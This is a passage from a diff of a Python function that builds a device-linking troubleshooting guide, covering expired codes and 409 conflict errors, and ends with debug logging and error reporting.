},
|
|
331
|
+
{
|
|
332
|
+
"issue": "Code expired",
|
|
333
|
+
"solution": "Wait for the old code to expire or generate a new one"
|
|
334
|
+
},
|
|
335
|
+
{
|
|
336
|
+
"issue": "409 Conflict error",
|
|
337
|
+
"solution": "You already have an active code, use it or wait for expiration"
|
|
338
|
+
}
|
|
339
|
+
]
|
|
340
|
+
}
|
|
341
|
+
|
|
342
|
+
debug_print("📖 Device linking guide generated", "success")
|
|
343
|
+
return guide
|
|
344
|
+
|
|
345
|
+
except Exception as e:
|
|
346
|
+
debug_print(f"❌ Failed to generate guide: {e}", "error")
|
|
347
|
+
report_error(e, "get_device_linking_guide", {})
|
|
348
|
+
raise
|